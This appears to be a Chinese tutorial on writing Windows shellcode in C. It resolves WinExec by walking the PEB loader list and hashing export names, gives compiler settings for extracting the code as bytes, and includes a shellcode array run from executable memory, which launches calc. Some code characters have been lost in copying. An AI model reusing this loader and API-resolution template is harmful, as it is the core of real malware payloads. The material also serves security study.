得到PEB指针后
LIST_ENTRY*first = peb->Ldr->InMemoryOrderModuleList.Flink;
可以得到一个双向链表的头指针,但是这个指针指向的结构体并不是LDR_DATA_TABLE_ENTRY,而是里面的一个成员
所以要想得到节点所对应的LDR_DATA_TABLE_ENTRY结构体指针,我们需要在其基础上减去0x8,再解析这个结构体就ok了
这里的双向链表结尾的元素的Flink是指向头元素的,所以遍历之前保存头元素的指针,向尾部遍历检测Flink是不是等于头元素指针就ok了
对于dll的名字,我们可以查看BaseDllName这个成员,FullDllName和BaseDllName的类型是一样的,所以像下面这样获取dllname就好了
(decltype(dte->FullDllName)*)(DWORD*)&(dte->Reserved4))->Buffer
获取了dllname计算hash与我们记录好的hash进行比较,大小写字母的hash是一样的
但是这样获取到的是unicode字符串,我们在写一个getunicodehash就完事了
DWORDgetHash(constchar*str){ DWORDh = 0; while(*str){ h= (h >> 13) | (h << (32 - 13)); h = *str>= 'a'? *str- 32 : *str; str ; } returnh; } DWORDgetunicodeHash(constwchar_t*str){ DWORDh = 0; PWORDptr = (PWORD)str; while(*ptr) { h= (h >> 13) | (h << (32 - 13)); h = (BYTE)(*ptr)>= 'a'? (BYTE)(*ptr)- 32 : (BYTE)(*ptr); ptr ; } returnh; } 最终代码如下 #include”pch.h” #include<Windows.h> #include<winnt.h> #include<winternl.h> DWORDgetHash(constchar*str){ DWORDh = 0; while(*str){ h= (h >> 13) | (h << (32 - 13)); h = *str>= 'a'? *str- 32 : *str; str ; } returnh; } DWORDgetunicodeHash(constwchar_t*str){ DWORDh = 0; PWORDptr = (PWORD)str; while(*ptr) { h= (h >> 13) | (h << (32 - 13)); h = (BYTE)(*ptr)>= 'a'? (BYTE)(*ptr)- 32 : (BYTE)(*ptr); ptr ; } returnh; } PVOIDgetWinExec() { chardllname[] = { 'K','E','R','N','E','L','3','2','.','D','L','L','\x00'}; charapi[] = { 'W','i','n','E','x','e','c','\x00'}; _PEB*peb = NtCurrentTeb()->ProcessEnvironmentBlock; LIST_ENTRY*first = peb->Ldr->InMemoryOrderModuleList.Flink; LIST_ENTRY*ptr = first; do{ LDR_DATA_TABLE_ENTRY*dte = (LDR_DATA_TABLE_ENTRY*)((BYTE*)ptr- 0x8); BYTE*baseAddress = (BYTE*)dte->DllBase; ptr= ptr->Flink; if(!baseAddress) continue; PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)baseAddress; PIMAGE_NT_HEADERSntHeader = (PIMAGE_NT_HEADERS)(baseAddress dosHeader->e_lfanew); DWORDiedRVA =ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if(!iedRVA) continue; PIMAGE_EXPORT_DIRECTORYied = (PIMAGE_EXPORT_DIRECTORY)(baseAddress iedRVA); if(getunicodeHash(((decltype(dte->FullDllName)*)(DWORD*)&(dte->Reserved4))->Buffer)==getHash(dllname)){ DWORD*nameRVAs = (DWORD*)(baseAddress ied->AddressOfNames); for(DWORDi = 0; i < ied->NumberOfNames; i ) { char*funcName = (char*)(baseAddress nameRVAs[i]); if(getHash(funcName)==getHash(api)) { WORDordinal = ((WORD*)(baseAddress ied->AddressOfNameOrdinals))[i]; DWORDfunctionRVA = ((DWORD*)(baseAddress ied->AddressOfFunctions))[ordinal]; returnbaseAddress functionRVA; } } } }while(ptr != first); returnNULL; } voidfunc() { charcalc[] = { 'c','a','l','c','\x00'}; decltype(WinExec)*myWinExec = (decltype(WinExec)*)getWinExec(); myWinExec(calc,0); } intmain() { func(); return0; }
编译运行一下就弹出了calc
下面提取shellcode
我们把主要的逻辑放到了func这个函数里
下面要配置一下编译选项方便我们提取shellcode
关闭SDL检查,优化里面使大小最小化,这会缩小shellcode的体积
内联函数扩展选择只适用于_inline(Ob1),因为我们的func函数太短了,并且我们不希望编译器优化把他给内联了,func当成一个单独的函数方便我们提取,这样就需要选择只适用于_inline(Ob1)
启用内部函数选择是(/Oi)
禁用安全检查(/Gs-)
其中像NtCurrentTeb这个宏里的__readfsdword就是内部函数,启用内部函数会把这些函数调用内联到我们的代码
优化大小或者速度选择代码大小优先(/Os)
全程序优化选择是(/GL)
代码生成中的安全检查选择禁用,如果开启的话编译器会插入一些检查gscookie的函数调用啥的
启用函数级链接选择是(/Gy)这个可以移除没有被调用的函数
然后是链接器配置
常规中的启用增量链接选择否(/INCREMENTAL:NO)
调试中的生成映射文件选择是(/MAP)这个生成的mapfile可以帮助我们定位函数的位置和长度
映射文件名:mapfile,随便你指定
启用COMDAT折叠:是(/OPT:ICF)
函数顺序:function_order.txt,这个选项可以告诉编译器编译后的代码中函数的排列顺序,我们用shellcode的时候肯定从shellcode的起始位置开始运行,这样我们要把那个func函数放在线性地址的开头
我们先生成一下,在mapfile里找到func函数,即?func@@YAXXZ
所以我们的function_order.txt里只需要放一行?func@@YAXXZ就可以了
在vs2017中还要“常规”—>“调试信息格式”—>选择“程序数据库(/Zi)”或“无”
还有基本运行时检查改成默认值
0x01 shellcode提取与运行
用MassimilianoTomassoli的shellcode提取工具提取shellcode进行测试
intmain() { charshellcode[] = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x54\x03\x02\x02\x81\xf1\x02\x02" "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x01\x0f\x44\xc6\xaa" "\xe2\xf6\x55\x8b\xec\x51\x51\xc7\x45\xf8\x63\x61\x6c\x63\xc6\x45" "\xfc\x01\xe8\x60\x01\x01\x01\x6a\x01\x8d\x4d\xf8\x51\xff\xd0\xc9" "\xc3\x64\xa1\x18\x01\x01\x01\xc3\x53\x56\x8b\xf1\x33\xd2\xeb\x12" "\x0f\xbe\xcb\xc1\xca\x0d\x80\xfb\x61\x8d\x41\xe0\x0f\x4c\xc1\x03" "\xd0\x46\x8a\x1e\x84\xdb\x75\xe8\x5e\x8b\xc2\x5b\xc3\x53\x56\x33" "\xdb\x57\x8b\xf9\x8b\xf3\xeb\x14\x0f\xb6\x17\xc1\xce\x0d\x80\x3f" "\x61\x8d\x7f\x02\x8d\x4a\xe0\x0f\x42\xca\x03\xf1\x66\x39\x1f\x75" "\xe7\x5f\x8b\xc6\x5e\x5b\xc3\x55\x8b\xec\x83\xec\x28\x64\xa1\x18" "\x01\x01\x01\x53\x56\x57\x8b\x40\x30\xc7\x45\xd8\x4b\x45\x52\x4e" "\xc7\x45\xdc\x45\x4c\x33\x32\xc7\x45\xe0\x2e\x44\x4c\x4c\x8b\x40" "\x0c\xc6\x45\xe4\x01\xc7\x45\xe8\x57\x69\x6e\x45\xc7\x45\xec\x78" "\x65\x63\x01\x8b\x58\x14\x8b\xc3\x89\x5d\xfc\x8b\x7b\x10\x8d\x0b" "\x8b\x1b\x85\xff\x74\x6b\x8b\x47\x3c\x8b\x54\x38\x78\x89\x55\xf8" "\x85\xd2\x74\x5a\x8b\x49\x28\xe8\x71\xff\xff\xff\x8d\x4d\xd8\x8b" "\xf0\xe8\x42\xff\xff\xff\x3b\xf0\x75\x44\x8b\x75\xf8\x33\xc9\x89" "\x4d\xf8\x8b\x44\x3e\x20\x03\xc7\x89\x45\xf4\x39\x4c\x3e\x18\x76" "\x2d\x8d\x4d\xe8\xe8\x1f\xff\xff\xff\x89\x45\xf0\x8b\x45\xf8\x8b" "\x4d\xf4\x8b\x0c\x81\x03\xcf\xe8\x0c\xff\xff\xff\x3b\x45\xf0\x74" "\x1b\x8b\x45\xf8\x40\x89\x45\xf8\x3b\x44\x3e\x18\x72\xe1\x8b\x45" "\xfc\x3b\xd8\x75\x86\x33\xc0\x5f\x5e\x5b\xc9\xc3\x8b\x4d\xf8\x8b" "\x44\x3e\x24\x8d\x04\x48\x0f\xb7\x0c\x38\x8b\x44\x3e\x1c\x8d\x04" "\x88\x8b\x04\x38\x03\xc7\xeb\xdf"; void*ptr=VirtualAlloc(0, sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(ptr,shellcode, sizeof(shellcode)); ((void(*)())ptr)(); return0; }